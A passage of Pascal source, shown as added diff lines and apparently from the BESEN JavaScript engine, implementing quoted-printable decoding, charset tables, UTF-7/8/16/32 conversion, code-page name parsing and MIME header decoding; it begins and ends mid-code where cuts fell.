BESENDequote(s:TBESENANSISTRING):TBESENANSISTRING; +const hexa:array[1..$F] of TBESENCHAR='123456789ABCDEF'; +var p:longint; + encode:TBESENANSISTRING; +begin + if s='' then begin + result:=#13#10; + end else begin + result:=''; + if s[length(s)]='=' then begin + SetLength(s,Length(s)-1) + end else begin + if (length(s)>=3) and (s[length(s)-2]<>'=') then begin + s:=s+#13#10; + end; + end; + p:=BESENANSIPosChar('=',s); + while p>0 do begin + encode:=ansichar(byte((pos(s[p+1],hexa) shl 4) or pos(s[p+2],hexa))); + if encode=#0 then begin + encode:=#13#10; + end; + result:=result+copy(s,1,p-1)+encode; + delete(s,1,p+2); + p:=BESENANSIPosChar('=',s); + end; + result:=result+s; + p:=BESENANSIPosChar('_',result); + while p>0 do begin + result[p]:=' '; + p:=BESENANSIPosChar('_',result); + end; + end; +end; + +const UnknownChar=#254; + +function GetCharsetTable(CharSet:TBESENCharset):TBESENCharsetTable; +begin + case CharSet of + ISO_8859_1:result:=BESENCharISO_8859_1; + ISO_8859_2:result:=BESENCharISO_8859_2; + ISO_8859_3:result:=BESENCharISO_8859_3; + ISO_8859_4:result:=BESENCharISO_8859_4; + ISO_8859_5:result:=BESENCharISO_8859_5; + ISO_8859_6:result:=BESENCharISO_8859_6; + ISO_8859_7:result:=BESENCharISO_8859_7; + ISO_8859_8:result:=BESENCharISO_8859_8; + ISO_8859_9:result:=BESENCharISO_8859_9; + ISO_8859_10:result:=BESENCharISO_8859_10; + CP1250:result:=BESENCharCP_1250; + CP1251:result:=BESENCharCP_1251; + CP1252:result:=BESENCharCP_1252; + CP1253:result:=BESENCharCP_1253; + CP1254:result:=BESENCharCP_1254; + CP1255:result:=BESENCharCP_1255; + CP1256:result:=BESENCharCP_1256; + CP1257:result:=BESENCharCP_1257; + CP1258:result:=BESENCharCP_1258; + KOI8_R:result:=BESENCharKOI8_R; + end; +end; + +function BESENIsUTF8(const s:TBESENANSISTRING):boolean; +var i,j:longint; + b:byte; +begin + j:=0; + i:=1; + while i<=length(s) do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + inc(i); + inc(j); + end else if ((i+1)<length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + inc(i,2); + inc(j); + end else if ((i+2)<length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + inc(i,3); + inc(j); + end else if ((i+3)<length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + inc(i,4); + inc(j); +{$ifndef strictutf8} + end else if ((i+4)<length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + inc(i,5); + inc(j); + end else if ((i+5)<length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + inc(i,6); + inc(j); +{$endif} + end else begin + i:=0; + j:=0; + break; + end; + end; + result:=(i>0) and (j>0); +end; + +function BESENEncodeString(Value:TBESENANSISTRING;CharFrom:TBESENCharset;CharTo:TBESENCharset):TBESENANSISTRING; + function UTF16ToUTF32(const Value:TBESENANSISTRING):TBESENANSISTRING; + var i,j:longint; + s:widestring; + Buffer:array of longword; + v:longword; + w:word; + begin + SetLength(s,(length(Value)+1) and not 1); + i:=1; + j:=0; + while (i+1)<=length(Value) do begin + inc(j); + s[j]:=widechar(word((word(byte(Value[i])) shl 8) or byte(Value[i+1]))); + inc(i,2); + end; + SetLength(s,j); + SetLength(Buffer,length(s)); + j:=0; + i:=1; + while i<=length(s) do begin + w:=word(s[i]); + if (w<=$d7ff) or (w>=$e000) then begin + Buffer[j]:=w; + inc(j); + inc(i); + end else if ((i+1)<=length(s)) and ((w>=$d800) and (w<=$dbff)) and ((word(s[i+1])>=$dc00) and (word(s[i+1])<=$dfff)) then begin + Buffer[j]:=(TBESENUTF32CHAR(TBESENUTF32CHAR(w and $3ff) shl 10) or TBESENUTF32CHAR(word(s[i+1]) and $3ff))+$10000; + inc(j); + inc(i,2); + end else begin + Buffer[j]:=$fffd; + inc(j); + inc(i); + end; + end; + SetLength(Buffer,j); + SetLength(result,length(Buffer)*4); + j:=1; + for i:=0 to length(Buffer)-1 do begin + v:=Buffer[i]; + result[j]:=ansichar(byte((v shr 24) and $ff)); + inc(j); + result[j]:=ansichar(byte((v shr 16) and $ff)); + inc(j); + result[j]:=ansichar(byte((v shr 8) and $ff)); + inc(j); + result[j]:=ansichar(byte(v and $ff)); + inc(j); + end; + SetLength(Buffer,0); + end; + function UTF32ToUTF16(const Value:TBESENANSISTRING):TBESENANSISTRING; + var i,j:longint; + w,u4c:TBESENUTF32CHAR; + Buffer:widestring; + s:array of longword; + begin + SetLength(s,(length(Value)+3) shr 2); + for i:=0 to length(s)-1 do begin + j:=(i shl 2)+1; + u4c:=0; + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 24); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 16); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 8); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or byte(Value[j]); + end; + end; + end; + end; + s[i]:=u4c; + end; + SetLength(Buffer,length(s)*2); + j:=0; + for i:=0 to length(s)-1 do begin + w:=s[i]; + if w<=$d7ff then begin + inc(j); + Buffer[j]:=widechar(word(w)); + end else if w<=$dfff then begin + inc(j); + Buffer[j]:=#$fffd; + end else if w<=$fffd then begin + inc(j); + Buffer[j]:=widechar(word(w)); + end else if w<=$ffff then begin + inc(j); + Buffer[j]:=#$fffd; + end else if w<=$10ffff then begin + dec(w,$10000); + inc(j); + Buffer[j]:=widechar(word((w shr 10) or $d800)); + inc(j); + Buffer[j]:=widechar(word((w and $3ff) or $dc00)); + end else begin + inc(j); + Buffer[j]:=#$fffd; + end; + end; + SetLength(Buffer,j); + SetLength(result,length(Buffer)*2); + j:=1; + for i:=1 to length(Buffer) do begin + w:=word(Buffer[i]); + result[j]:=ansichar(byte((w shr 8) and $ff)); + inc(j); + result[j]:=ansichar(byte(w and $ff)); + inc(j); + end; + SetLength(Buffer,0); + end; + function UTF8ToUTF32(Value:TBESENANSISTRING):TBESENANSISTRING; + var i,j:longint; + b:byte; + Buffer:array of longword; + v:longword; + begin + j:=0; + i:=1; + while i<=length(Value) do begin + b:=byte(Value[i]); + if (b and $80)=0 then begin + inc(i); + inc(j); + end else if ((i+1)<=length(Value)) and ((b and $e0)=$c0) and ((byte(Value[i+1]) and $c0)=$80) then begin + inc(i,2); + inc(j); + end else if ((i+2)<=length(Value)) and ((b and $f0)=$e0) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) then begin + inc(i,3); + inc(j); + end else if ((i+3)<=length(Value)) and ((b and $f8)=$f0) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) then begin + inc(i,4); + inc(j); +{$ifndef strictutf8} + end else if ((i+4)<=length(Value)) and ((b and $fc)=$f8) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) and ((byte(Value[i+4]) and $c0)=$80) then begin + inc(i,5); + inc(j); + end else if ((i+5)<=length(Value)) and ((b and $fe)=$fc) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) and ((byte(Value[i+4]) and $c0)=$80) and ((byte(Value[i+5]) and $c0)=$80) then begin + inc(i,6); + inc(j); +{$endif} + end else begin + inc(i); + inc(j); + end; + end; + SetLength(Buffer,j); + if j=0 then begin + exit; + end; + j:=0; + i:=1; + while i<=length(Value) do begin + b:=byte(Value[i]); + if (b and $80)=0 then begin + Buffer[j]:=b; + inc(i); + inc(j); + end else if ((i+1)<=length(Value)) and ((b and $e0)=$c0) and ((byte(Value[i+1]) and $c0)=$80) then begin + Buffer[j]:=((byte(Value[i]) and $1f) shl 6) or (byte(Value[i+1]) and $3f); + inc(i,2); + inc(j); + end else if ((i+2)<=length(Value)) and ((b and $f0)=$e0) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) then begin + Buffer[j]:=((byte(Value[i]) and $0f) shl 12) or ((byte(Value[i+1]) and $3f) shl 6) or (byte(Value[i+2]) and $3f); + inc(i,3); + inc(j); + end else if ((i+3)<=length(Value)) and ((b and $f8)=$f0) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) then begin + Buffer[j]:=((byte(Value[i]) and $07) shl 18) or ((byte(Value[i+1]) and $3f) shl 12) or ((byte(Value[i+2]) and $3f) shl 6) or (byte(Value[i+3]) and $3f); + inc(i,4); + inc(j); +{$ifndef strictutf8} + end else if ((i+4)<=length(Value)) and ((b and $fc)=$f8) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) and ((byte(Value[i+4]) and $c0)=$80) then begin + Buffer[j]:=((byte(Value[i]) and $03) shl 24) or ((byte(Value[i+1]) and $3f) shl 18) or ((byte(Value[i+2]) and $3f) shl 12) or ((byte(Value[i+3]) and $3f) shl 6) or (byte(Value[i+4]) and $3f); + inc(i,5); + inc(j); + end else if ((i+5)<=length(Value)) and ((b and $fe)=$fc) and ((byte(Value[i+1]) and $c0)=$80) and ((byte(Value[i+2]) and $c0)=$80) and ((byte(Value[i+3]) and $c0)=$80) and ((byte(Value[i+4]) and $c0)=$80) and ((byte(Value[i+5]) and $c0)=$80) then begin + Buffer[j]:=((byte(Value[i]) and $01) shl 30) or ((byte(Value[i+1]) and $3f) shl 24) or ((byte(Value[i+2]) and $3f) shl 18) or ((byte(Value[i+3]) and $3f) shl 12) or ((byte(Value[i+4]) and $3f) shl 6) or (byte(Value[i+5]) and $3f); + inc(i,6); + inc(j); +{$endif} + end else begin + Buffer[j]:=$fffd; + inc(i); + inc(j); + end; + end; + SetLength(result,length(Buffer)*4); + j:=1; + for i:=0 to length(Buffer)-1 do begin + v:=Buffer[i]; + result[j]:=ansichar(byte((v shr 24) and $ff)); + inc(j); + result[j]:=ansichar(byte((v shr 16) and $ff)); + inc(j); + result[j]:=ansichar(byte((v shr 8) and $ff)); + inc(j); + result[j]:=ansichar(byte(v and $ff)); + inc(j); + end; + SetLength(Buffer,0); + end; + function UTF32toUTF8(Value:TBESENANSISTRING):TBESENANSISTRING; + var i,j:longint; + u4c:longword; + s:array of longword; + begin + SetLength(s,(length(Value)+3) shr 2); + for i:=0 to length(s)-1 do begin + j:=(i shl 2)+1; + u4c:=0; + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 24); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 16); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or (byte(Value[j]) shl 8); + inc(j); + if j<=length(Value) then begin + u4c:=u4c or byte(Value[j]); + end; + end; + end; + end; + s[i]:=u4c; + end; + result:=''; + j:=0; + for i:=0 to length(s)-1 do begin + u4c:=s[i]; + if u4c<=$7f then begin + inc(j); + end else if u4c<=$7ff then begin + inc(j,2); + end else if u4c<=$ffff then begin + inc(j,3); + end else if u4c<=$1fffff then begin + inc(j,4); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + inc(j,5); + end else if u4c<=$7fffffff then begin + inc(j,6); +{$endif} + end else begin + inc(j,3); + end; + end; + SetLength(result,j); + j:=1; + for i:=0 to length(s)-1 do begin + u4c:=s[i]; + if u4c<=$7f then begin + result[j]:=ansichar(byte(u4c)); + inc(j); + end else if u4c<=$7ff then begin + result[j]:=ansichar(byte($c0 or ((u4c shr 6) and $1f))); + result[j+1]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,2); + end else if u4c<=$ffff then begin + result[j]:=ansichar(byte($e0 or ((u4c shr 12) and $0f))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end else if u4c<=$1fffff then begin + result[j]:=ansichar(byte($f0 or ((u4c shr 18) and $07))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+3]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,4); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + result[j]:=ansichar(byte($f8 or ((u4c shr 24) and $03))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+4]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,5); + end else if u4c<=$7fffffff then begin + result[j]:=ansichar(byte($fc or ((u4c shr 30) and $01))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 24) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+4]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+5]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,6); +{$endif} + end else begin + u4c:=$fffd; + result[j]:=ansichar(byte($e0 or ((u4c shr 12) and $0f))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end; + end; + SetLength(s,0); + end; + function UTF7toUCS2(Value:TBESENANSISTRING):TBESENANSISTRING; + var i:longint; + c:TBESENCHAR; + s:TBESENANSISTRING; + begin + result:=''; + i:=1; + while i<=length(Value) do begin + c:=Value[i]; + inc(i); + if c<>'+' then begin + result:=result+#0+c; + end else begin + s:=''; + while i<=length(Value) do begin + c:=Value[i]; + inc(i); + if c='-' then begin + break; + end else if (c='=') or (BESENANSIPosChar(c,BESENBase64Chars)<1) then begin + dec(i); + break; + end; + s:=s+c; + end; + if s='' then begin + s:='+'; + end else begin + s:=BESENDecodeBase64(s); + end; + result:=result+s; + end; + end; + end; + function UCS2toUTF7(Value:TBESENANSISTRING):TBESENANSISTRING; + var s:TBESENANSISTRING; + c1,c2:TBESENCHAR; + i,j:longint; + begin + result:=''; + i:=1; + while i<=length(Value) do begin + c2:=Value[i]; + if (i+1)<=length(Value) then begin + c1:=Value[i+1]; + end else begin + c1:=#0; + end; + inc(i,2); + if (c2=#0) and (c1<#128) then begin + if c1='+' then begin + result:=result+'+-'; + end else begin + result:=result+TBESENCHAR(c1); + end; + end else begin + s:=c2+c1; + while i<=length(Value) do begin + c2:=Value[i]; + if (i+1)<=length(Value) then begin + c1:=Value[i+1]; + end else begin + c1:=#0; + end; + if c2=#0 then begin + break; + end else begin + inc(i,2); + s:=s+c2+c1; + end; + end; + s:=BESENEncodeBase64(s); + j:=BESENANSIPosChar('=',s); + if j>0 then begin + s:=copy(s,1,j-1); + end; + result:=result+'+'+s+'-'; + end; + end; + end; +var Unicode:word; + i,j:longint; + b:byte; + c1,c2,c3,c4:TBESENCHAR; + SourceTable,TargetTable:TBESENCharsetTable; + FromByteCount,ToByteCount:byte; +begin + if CharFrom=CharTo then begin + result:=Value; + end else begin + SourceTable:=GetCharsetTable(CharFrom); + TargetTable:=GetCharsetTable(CharTo); + if CharFrom in [UCS_2,UTF_7] then begin + FromByteCount:=2; + end else if CharFrom in [UCS_4,UTF_32,UTF_16,UTF_8] then begin + FromByteCount:=4; + end else begin + FromByteCount:=1; + end; + if CharTo in [UCS_2,UTF_7] then begin + ToByteCount:=2; + end else if CharTo in [UCS_4,UTF_32,UTF_16,UTF_8] then begin + ToByteCount:=4; + end else begin + ToByteCount:=1; + end; + case CharFrom of + UTF_7:begin + Value:=UTF7toUCS2(Value); + end; + UTF_8:begin + Value:=UTF8ToUTF32(Value); + end; + UTF_16:begin + Value:=UTF16ToUTF32(Value); + end; + end; + c1:=#0; + c2:=#0; + c3:=#0; + c4:=#0; + result:=''; + i:=1; + while i<=length(Value) do begin + case FromByteCount of + 1:begin + c1:=Value[i]; + if c1>#127 then begin + Unicode:=SourceTable[byte(c1)]; + c1:=ansichar(byte(Unicode and $ff)); + c2:=ansichar(byte(Unicode shr 8)); + end; + inc(i); + end; + 2:begin + c2:=Value[i]; + if (i+1)<=length(Value) then begin + c1:=Value[i+1]; + end else begin + c1:=#0; + end; + inc(i,2); + end; + 3:begin + c3:=Value[i]; + if (i+1)<=length(Value) then begin + c2:=Value[i+1]; + end else begin + c2:=#0; + end; + if (i+2)<=length(Value) then begin + c1:=Value[i+2]; + end else begin + c1:=#0; + end; + inc(i,3); + end; + 4:begin + c4:=Value[i]; + if (i+1)<=length(Value) then begin + c3:=Value[i+1]; + end else begin + c3:=#0; + end; + if (i+2)<=length(Value) then begin + c2:=Value[i+2]; + end else begin + c2:=#0; + end; + if (i+3)<=length(Value) then begin + c1:=Value[i+3]; + end else begin + c1:=#0; + end; + inc(i,4); + end; + end; + Unicode:=(byte(c2) shl 8) or byte(c1); + if ToByteCount=1 then begin + if (c3<>#0) or (c4<>#0) then begin + c1:=UnknownChar; + c2:=#0; + c3:=#0; + c4:=#0; + end else begin + if Unicode>127 then begin + b:=ord(UnknownChar); + for j:=128 to 255 do begin + if TargetTable[j]=Unicode then begin + b:=j; + break; + end; + end; + c1:=ansichar(byte(b)); + c2:=#0; + end else begin + c1:=ansichar(byte(Unicode and $ff)); + end; + end; + end; + case ToByteCount of + 1:begin + result:=result+c1; + end; + 2:begin + result:=result+c2+c1; + end; + 3:begin + result:=result+c3+c2+c1; + end; + 4:begin + result:=result+c4+c3+c2+c1; + end; + end; + end; + case CharTo of + UTF_7:begin + result:=UCS2toUTF7(result); + end; + UTF_8:begin + result:=UTF32toUTF8(result); + end; + UTF_16:begin + result:=UTF32ToUTF16(result); + end; + end; + end; +end; + +function BESENGetCodePage(Value:TBESENANSISTRING):TBESENCharset; +begin + Value:=BESENANSIUpperCase(Value); + if BESENANSIPos('ISO-8859-10',Value)>0 then begin + result:=ISO_8859_10; + end else if BESENANSIPos('ISO-8859-1',Value)>0 then begin + result:=ISO_8859_1; + end else if BESENANSIPos('ISO-8859-2',Value)>0 then begin + result:=ISO_8859_2; + end else if BESENANSIPos('ISO-8859-3',Value)>0 then begin + result:=ISO_8859_3; + end else if BESENANSIPos('ISO-8859-4',Value)>0 then begin + result:=ISO_8859_4; + end else if BESENANSIPos('ISO-8859-5',Value)>0 then begin + result:=ISO_8859_5; + end else if BESENANSIPos('ISO-8859-6',Value)>0 then begin + result:=ISO_8859_6; + end else if BESENANSIPos('ISO-8859-7',Value)>0 then begin + result:=ISO_8859_7; + end else if BESENANSIPos('ISO-8859-8',Value)>0 then begin + result:=ISO_8859_8; + end else if BESENANSIPos('ISO-8859-9',Value)>0 then begin + result:=ISO_8859_9; + end else if (BESENANSIPos('WINDOWS-1250',Value)>0) or (BESENANSIPos('X-CP1250',Value)>0) then begin + result:=CP1250; + end else if (BESENANSIPos('WINDOWS-1251',Value)>0) or (BESENANSIPos('X-CP1251',Value)>0) then begin + result:=CP1251; + end else if (BESENANSIPos('WINDOWS-1252',Value)>0) or (BESENANSIPos('X-CP1252',Value)>0) then begin + result:=CP1252; + end else if (BESENANSIPos('WINDOWS-1253',Value)>0) or (BESENANSIPos('X-CP1253',Value)>0) then begin + result:=CP1253; + end else if (BESENANSIPos('WINDOWS-1254',Value)>0) or (BESENANSIPos('X-CP1254',Value)>0) then begin + result:=CP1254; + end else if (BESENANSIPos('WINDOWS-1255',Value)>0) or (BESENANSIPos('X-CP1255',Value)>0) then begin + result:=CP1255; + end else if (BESENANSIPos('WINDOWS-1256',Value)>0) or (BESENANSIPos('X-CP1256',Value)>0) then begin + result:=CP1256; + end else if (BESENANSIPos('WINDOWS-1257',Value)>0) or (BESENANSIPos('X-CP1257',Value)>0) then begin + result:=CP1257; + end else if (BESENANSIPos('WINDOWS-1258',Value)>0) or (BESENANSIPos('X-CP1258',Value)>0) then begin + result:=CP1258; + end else if BESENANSIPos('KOI8-R',Value)>0 then begin + result:=KOI8_R; + end else if BESENANSIPos('UTF-7',Value)>0 then begin + result:=UTF_7; + end else if BESENANSIPos('UTF-8',Value)>0 then begin + result:=UTF_8; + end else if BESENANSIPos('UTF-16',Value)>0 then begin + result:=UTF_16; + end else if BESENANSIPos('UTF-32',Value)>0 then begin + result:=UTF_32; + end else if BESENANSIPos('UCS-4',Value)>0 then begin + result:=UCS_4; + end else if BESENANSIPos('UCS-2',Value)>0 then begin + result:=UCS_2; + end else if BESENANSIPos('UNICODE',Value)>0 then begin + result:=UCS_2; + end else begin + result:=ISO_8859_1; + end; +end; + +function BESENGetCodePageID(Value:TBESENCharset):TBESENANSISTRING; +begin + case Value of + ISO_8859_2:result:='ISO-8859-2'; + ISO_8859_3:result:='ISO-8859-3'; + ISO_8859_4:result:='ISO-8859-4'; + ISO_8859_5:result:='ISO-8859-5'; + ISO_8859_6:result:='ISO-8859-6'; + ISO_8859_7:result:='ISO-8859-7'; + ISO_8859_8:result:='ISO-8859-8'; + ISO_8859_9:result:='ISO-8859-9'; + ISO_8859_10:result:='ISO-8859-10'; + CP1250:result:='WINDOWS-1250'; + CP1251:result:='WINDOWS-1251'; + CP1252:result:='WINDOWS-1252'; + CP1253:result:='WINDOWS-1253'; + CP1254:result:='WINDOWS-1254'; + CP1255:result:='WINDOWS-1255'; + CP1256:result:='WINDOWS-1256'; + CP1257:result:='WINDOWS-1257'; + CP1258:result:='WINDOWS-1258'; + KOI8_R:result:='KOI8-R'; + UCS_2:result:='Unicode-1-1-UCS-2'; + UCS_4:result:='Unicode-1-1-UCS-4'; + UTF_32:result:='UTF-32'; + UTF_16:result:='UTF-16'; + UTF_8:result:='UTF-8'; + UTF_7:result:='UTF-7'; + else result:='ISO-8859-1'; + end; +end; + +function BESENDoNeedEncoding(Value:TBESENANSISTRING):boolean; +var i:longint; +begin + result:=false; + for i:=1 to length(Value) do begin + if ord(Value[i])>127 then begin + result:=true; + break; + end; + end; +end; + +function BESENFindIdealCoding(Value:TBESENANSISTRING;CharFrom:TBESENCharset;CharTo:TBESENCharsetSet):TBESENCharset; +var cs:TBESENCharset; + i,j,k:longint; + s,t:TBESENANSISTRING; +begin + result:=ISO_8859_1; + s:=''; + for i:=1 to length(Value) do begin + if ord(Value[i])>127 then begin + s:=s+Value[i]; + end; + end; + j:=128; + for cs:=low(TBESENCharset) to high(TBESENCharset) do begin + if cs in CharTo then begin + t:=BESENEncodeString(s,CharFrom,cs); + k:=0; + for i:=1 to length(t) do begin + if t[i]=UnknownChar then begin + inc(k); + end; + end; + if k<j then begin + j:=k; + result:=cs; + if k=0 then begin + break; + end; + end; + end; + end; +end; + +function BESENISOToUTF8(s:TBESENANSISTRING):TBESENANSISTRING; +var q,us,e:TBESENANSISTRING; + encode:TBESENCHAR; + p1,p2,p3:longint; + cs:TBESENCharset; +begin + result:=''; + us:=BESENANSIUpperCase(s); + p1:=BESENANSIPos('=?ISO',us); + while p1>0 do begin + q:=copy(s,p1+2,length(s)); + p2:=BESENANSIPosChar('?',q); + if (p2=0) or (p2>=length(q)-2) or (q[p2+2]<>'?') then begin + break; + end; + e:=copy(q,1,p2-1); + cs:=BESENGetCodePage(e); + encode:=TBESENCHAR(upcase(TBESENCHAR(q[p2+1]))); + q:=copy(q,p2+3,length(q)); + p3:=BESENANSIPos('?=',q); + if p3=0 then begin + break; + end; + SetLength(q,p3-1); + if encode='B' then begin + q:=BESENDecodeBase64(q); + end else if encode='Q' then begin + q:=BESENDequote(q+'='); + end else begin + break; + end; + q:=BESENEncodeString(q,cs,UTF_8); + result:=result+copy(s,1,p1-1)+q; + inc(p1,2+p2+2+p3); + delete(s,1,p1); + delete(us,1,p1); + p1:=BESENANSIPos('=?ISO',us); + end; + p1:=BESENANSIPos('=?UTF-7',us); + while p1>0 do begin + q:=copy(s,p1+2,length(s)); + p2:=BESENANSIPosChar('?',q); + if (p2=0) or (p2>=length(q)-2) or (q[p2+2]<>'?') then begin + break; + end; + encode:=TBESENCHAR(upcase(TBESENCHAR(q[p2+1]))); + q:=copy(q,p2+3,length(q)); + p3:=BESENANSIPos('?=',q); + if p3=0 then begin + break; + end; + SetLength(q,p3-1); + if encode='B' then begin + q:=BESENDecodeBase64(q); + end else if encode='Q' then begin + q:=BESENDequote(q+'='); + end else begin + break; + end; + q:=BESENEncodeString(s,UTF_7,UTF_8); + result:=result+copy(s,1,p1-1)+q; + inc(p1,2+p2+2+p3); + delete(s,1,p1); + delete(us,1,p1); + p1:=BESENANSIPos('=?UTF-7',us); + end; + p1:=BESENANSIPos('=?UTF-8',us); + while p1>0 do begin + q:=copy(s,p1+2,length(s)); + p2:=BESENANSIPosChar('?',q); + if (p2=0) or (p2>=length(q)-2) or (q[p2+2]<>'?') then begin + break; + end; + encode:=TBESENCHAR(upcase(TBESENCHAR(q[p2+1]))); + q:=copy(q,p2+3,length(q)); + p3:=BESENANSIPos('?=',q); + if p3=0 then begin + break; + end; + SetLength(q,p3-1); + if encode='B' then begin + q:=BESENDecodeBase64(q); + end else if encode='Q' then begin + q:=BESENDequote(q+'='); + end else begin + break; + end; + result:=result+copy(s,1,p1-1)+q; + inc(p1,2+p2+2+p3); + delete(s,1,p1); + delete(us,1,p1); + p1:=BESENANSIPos('=?UTF-8',us); + end; + p1:=BESENANSIPos('=?',us); + while p1>0 do begin + q:=copy(s,p1+2,length(s)); + p2:=BESENANSIPosChar('?',q); + if (p2=0) or (p2>=length(q)-2) or (q[p2+2]<>'?') then begin + break; + end; + e:=copy(q,1,p2-1); + cs:=BESENGetCodePage(e); + if cs=ISO_8859_1 then begin + result:=result+'=?'; + delete(s,1,p1); + delete(us,1,p1); + p1:=BESENANSIPos('=?',us); + continue; + end; + encode:=TBESENCHAR(upcase(TBESENCHAR(q[p2+1]))); + q:=copy(q,p2+3,length(q)); + p3:=BESENANSIPos('?=',q); + if p3=0 then begin + break; + end; + SetLength(q,p3-1); + if encode='B' then begin + q:=BESENDecodeBase64(q); + end else if encode='Q' then begin + q:=BESENDequote(q+'='); + end else begin + break; + end; + q:=BESENEncodeString(q,cs,UTF_8); + result:=result+copy(s,1,p1-1)+q; + inc(p1,2+p2+2+p3); + delete(s,1,p1); + delete(us,1,p1); + p1:=BESENANSIPos('=?',us); + end; + result:=result+BESENEncodeString(s,ISO_8859_1,UTF_8); +end; + +function BESENUTF32Pos(const ToFindString,InString:TBESENUTF32STRING):longint; +var i,j:longint; +begin + result:=-1; + for i:=0 to length(InString)-length(ToFindString) do begin + for j:=0 to length(ToFindString)-1 do begin + if ToFindString[j]<>InString[i+j] then begin + break; + end; + result:=i; + exit; + end; + end; +end; + +procedure BESENUTF32Delete(var s:TBESENUTF32STRING;Index,Len:longint); +var i,a,b:longint; +begin + if Index>=length(s) then begin + exit; + end; + if Len>length(s) then begin + Len:=length(s); + end; + if (Index+Len)>=length(s) then begin + Len:=length(s)-Index; + end; + a:=Index+Len; + b:=Index; + i:=length(s)-a; + move(s[a],s[b],i*sizeof(TBESENUTF32CHAR)); + SetLength(s,length(s)-Len); +end; + +function BESENUTF32Compare(const a,b:TBESENUTF32STRING):boolean; overload; +var i:longint; +begin + if a=b then begin + result:=true; + exit; + end; + if length(a)<>length(b) then begin + result:=false; + exit; + end; + for i:=0 to length(a)-1 do begin + if a[i]<>b[i] then begin + result:=false; + exit; + end; + end; + result:=true; +end; + +function BESENUTF32Compare(const a:TBESENUTF32STRING;const b:TBESENANSISTRING):boolean; overload; +var i:longint; +begin + if length(a)<>length(b) then begin + result:=false; + exit; + end; + for i:=0 to length(a)-1 do begin + if a[i]<>byte(b[i+1]) then begin + result:=false; + exit; + end; + end; + result:=true; +end; + +procedure BESENUTF32Clear(var a:TBESENUTF32STRING); +begin + SetLength(a,0); +end; + +procedure BESENBESENUTF32AddString(var a:TBESENUTF32STRING;const b:TBESENANSISTRING); +var i,j:longint; +begin + j:=length(a); + SetLength(a,j+length(b)); + for i:=1 to length(b) do begin + a[j+i-1]:=byte(b[i]); + end; +end; + +procedure BESENBESENUTF32AddChar(var a:TBESENUTF32STRING;const b:TBESENUTF32CHAR); overload; +var j:longint; +begin + j:=length(a); + SetLength(a,j+1); + a[j]:=b; +end; + +procedure BESENBESENUTF32AddChar(var a:TBESENUTF32STRING;const b:TBESENCHAR); overload; +var j:longint; +begin + j:=length(a); + SetLength(a,j+1); + a[j]:=byte(b); +end; + +procedure BESENUTF32Add(var a:TBESENUTF32STRING;const b:TBESENUTF32STRING); +var i,j:longint; +begin + j:=length(a); + SetLength(a,j+length(b)); + for i:=0 to length(b)-1 do begin + a[j+i]:=byte(b[i]); + end; +end; + +function BESENUTF32ToUTF8(const s:TBESENUTF32STRING):TBESENUTF8STRING; +var i,j:longint; + u4c:TBESENUTF32CHAR; +begin + result:=''; + j:=0; + for i:=0 to length(s)-1 do begin + u4c:=s[i]; + if u4c<=$7f then begin + inc(j); + end else if u4c<=$7ff then begin + inc(j,2); + end else if u4c<=$ffff then begin + inc(j,3); + end else if u4c<=$1fffff then begin + inc(j,4); +{$ifndef strictutf8} + end else if 